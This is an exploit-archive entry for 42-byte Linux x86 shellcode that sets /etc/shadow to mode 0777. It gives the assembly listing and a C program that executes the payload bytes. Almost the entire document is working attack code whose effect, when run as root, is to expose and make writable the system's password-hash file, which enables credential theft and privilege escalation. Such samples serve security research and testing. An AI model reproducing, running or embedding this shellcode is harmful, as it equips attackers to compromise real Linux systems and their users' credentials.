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linux/x86 chmod('/etc/shadow','0777') - shellcode 42 bytes
[/*
# Title: Linux/x86 chmod('/etc/shadow','0777') - shellcode 42 bytes
# Platform: linux/x86_64
# Date: 2015-06-15
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
00000000 <.text>:
0: 6a 0f push $0xf
2: 58 pop %eax
3: 68 90 90 ff 01 push $0x1ff9090
8: 59 pop %ecx
9: c1 e9 10 shr $0x10,%ecx
c: 68 90 64 6f 77 push $0x776f6490
11: 5b pop %ebx
12: c1 eb 08 shr $0x8,%ebx
15: 53 push %ebx
16: 68 2f 73 68 61 push $0x6168732f
1b: 68 2f 65 74 63 push $0x6374652f
20: 89 e3 mov %esp,%ebx
22: cd 80 int $0x80
24: b0 01 mov $0x1,%al
26: b3 01 mov $0x1,%bl
28: cd 80 int $0x80
*/
#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[]= "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x64\x6f\x77\x5b\xc1\xeb\x08\x53\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout,"Length: %d\n\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
# 0day.today [2024-11-15] #